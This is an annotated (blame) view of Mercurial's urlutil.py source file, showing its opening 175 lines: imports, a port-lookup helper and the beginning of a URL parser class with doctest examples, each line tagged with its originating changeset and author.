annotate mercurial/utils/urlutil.py @ 47338:f27f2afb15da

dirstate-tree: Skip readdir() in `hg status -mard` When running the status algorithm in a mode where we don’t list unknown or ignored files, all we care about are files that are listed in the dirstate. We can there for skip making expensive calls to readdir() to list the contents of filesystem directories, and instead only run stat() to get the filesystem state of files listed in the dirstate. (This state may be an error for files that don’t exist anymore on the filesystem.) On 16 CPU threads, this reduces the time spent in the `status()` function for `hg status -mard` on an old snapshot of mozilla-central from ~70ms to ~50ms. Differential Revision: https://phab.mercurial-scm.org/D10752
author Simon Sapin <simon.sapin@octobus.net>
date Wed, 19 May 2021 16:18:16 +0200
parents 9cc9b4a25248
children 65333ecc8b34
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
rev   line source
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
1 # utils.urlutil - code related to [paths] management
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
2 #
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
4 #
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
5 # This software may be used and distributed according to the terms of the
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
6 # GNU General Public License version 2 or any later version.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
7 import os
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
8 import re as remod
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
9 import socket
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
10
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
11 from ..i18n import _
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
12 from ..pycompat import (
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
13 getattr,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
14 setattr,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
15 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
16 from .. import (
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
17 encoding,
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
18 error,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
19 pycompat,
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
20 urllibcompat,
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
21 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
22
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
23 from . import (
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
24 stringutil,
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
25 )
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
26
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
27
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
28 if pycompat.TYPE_CHECKING:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
29 from typing import (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
30 Union,
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
31 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
32
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
33 urlreq = urllibcompat.urlreq
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
34
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
35
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
36 def getport(port):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
37 # type: (Union[bytes, int]) -> int
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
38 """Return the port for a given network service.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
39
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
40 If port is an integer, it's returned as is. If it's a string, it's
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
41 looked up using socket.getservbyname(). If there's no matching
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
42 service, error.Abort is raised.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
43 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
44 try:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
45 return int(port)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
46 except ValueError:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
47 pass
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
48
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
49 try:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
50 return socket.getservbyname(pycompat.sysstr(port))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
51 except socket.error:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
52 raise error.Abort(
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
53 _(b"no port number associated with service '%s'") % port
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
54 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
55
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
56
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
57 class url(object):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
58 r"""Reliable URL parser.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
59
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
60 This parses URLs and provides attributes for the following
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
61 components:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
62
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
64
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
65 Missing components are set to None. The only exception is
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
66 fragment, which is set to '' if present but empty.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
67
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
68 If parsefragment is False, fragment is included in query. If
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
69 parsequery is False, query is included in path. If both are
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
70 False, both fragment and query are included in path.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
71
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
73
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
74 Note that for backward compatibility reasons, bundle URLs do not
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
75 take host names. That means 'bundle://../' has a path of '../'.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
76
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
77 Examples:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
78
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
83 >>> url(b'file:///home/joe/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
84 <url scheme: 'file', path: '/home/joe/repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
85 >>> url(b'file:///c:/temp/foo/')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
86 <url scheme: 'file', path: 'c:/temp/foo/'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
87 >>> url(b'bundle:foo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
88 <url scheme: 'bundle', path: 'foo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
89 >>> url(b'bundle://../foo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
90 <url scheme: 'bundle', path: '../foo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
91 >>> url(br'c:\foo\bar')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
92 <url path: 'c:\\foo\\bar'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
93 >>> url(br'\\blah\blah\blah')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
94 <url path: '\\\\blah\\blah\\blah'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
95 >>> url(br'\\blah\blah\blah#baz')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
97 >>> url(br'file:///C:\users\me')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
98 <url scheme: 'file', path: 'C:\\users\\me'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
99
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
100 Authentication credentials:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
101
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
102 >>> url(b'ssh://joe:xyz@x/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
104 >>> url(b'ssh://joe@x/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
106
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
107 Query strings and fragments:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
108
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
109 >>> url(b'http://host/a?b#c')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
113
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
114 Empty path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
115
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
116 >>> url(b'')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
117 <url path: ''>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
118 >>> url(b'#a')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
119 <url path: '', fragment: 'a'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
120 >>> url(b'http://host/')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
121 <url scheme: 'http', host: 'host', path: ''>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
122 >>> url(b'http://host/#a')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
124
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
125 Only scheme:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
126
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
127 >>> url(b'http:')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
128 <url scheme: 'http'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
129 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
130
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
131 _safechars = b"!~*'()+"
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
132 _safepchars = b"/!~*'()+:\\"
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
134
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
135 def __init__(self, path, parsequery=True, parsefragment=True):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
136 # type: (bytes, bool, bool) -> None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
137 # We slowly chomp away at path until we have only the path left
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
138 self.scheme = self.user = self.passwd = self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
139 self.port = self.path = self.query = self.fragment = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
140 self._localpath = True
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
141 self._hostport = b''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
142 self._origpath = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
143
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
144 if parsefragment and b'#' in path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
145 path, self.fragment = path.split(b'#', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
146
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
147 # special case for Windows drive letters and UNC paths
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
149 self.path = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
150 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
151
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
152 # For compatibility reasons, we can't handle bundle paths as
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
153 # normal URLS
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
154 if path.startswith(b'bundle:'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
155 self.scheme = b'bundle'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
156 path = path[7:]
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
157 if path.startswith(b'//'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
158 path = path[2:]
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
159 self.path = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
160 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
161
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
162 if self._matchscheme(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
163 parts = path.split(b':', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
164 if parts[0]:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
165 self.scheme, path = parts
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
166 self._localpath = False
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
167
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
168 if not path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
169 path = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
170 if self._localpath:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
171 self.path = b''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
172 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
173 else:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
174 if self._localpath:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
175 self.path = path
